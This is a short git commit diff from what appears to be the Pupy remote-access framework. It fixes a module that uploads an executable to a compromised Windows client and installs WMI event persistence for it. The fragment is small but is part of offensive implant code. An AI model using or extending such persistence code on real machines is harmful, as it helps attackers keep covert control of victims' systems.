fix wmi persistence with --exe

This commit is contained in:
n1nj4sec 2017-04-23 15:07:57 +02:00
parent 8c19d6bc86
commit 8a422ff217
1 changed files with 2 additions and 2 deletions

View File

@ -108,6 +108,7 @@ class PersistenceModule(PupyModule):
exebuff=b"" exebuff=b""
cmd=None cmd=None
remote_path=None
if args.exe: if args.exe:
with open(args.exe,'rb') as f: with open(args.exe,'rb') as f:
exebuff=f.read() exebuff=f.read()
@ -126,7 +127,6 @@ class PersistenceModule(PupyModule):
pos+=chunk_size pos+=chunk_size
rf.close() rf.close()
self.success("upload successful") self.success("upload successful")
cmd = remote_path
elif args.cmd: elif args.cmd:
cmd = args.cmd cmd = args.cmd
else: else:
@ -146,7 +146,7 @@ class PersistenceModule(PupyModule):
if (self.client.desc['intgty_lvl'] != "High" and self.client.desc['intgty_lvl'] != "System") or self.client.conn.modules['sys'].getwindowsversion()[0] < 6: if (self.client.desc['intgty_lvl'] != "High" and self.client.desc['intgty_lvl'] != "System") or self.client.conn.modules['sys'].getwindowsversion()[0] < 6:
self.warning("You seems to lack some privileges to remove wmi persistence ...") self.warning("You seems to lack some privileges to remove wmi persistence ...")
self.info("creating wmi event ...") self.info("creating wmi event ...")
if self.client.conn.modules['pupwinutils.persistence'].wmi_persistence(command=cmd, file=args.exe): if self.client.conn.modules['pupwinutils.persistence'].wmi_persistence(command=cmd, file=remote_path):
self.success("persistence added using wmi!") self.success("persistence added using wmi!")
else: else:
self.error("an error occured creating the wmi persistence, try to do it manually") self.error("an error occured creating the wmi persistence, try to do it manually")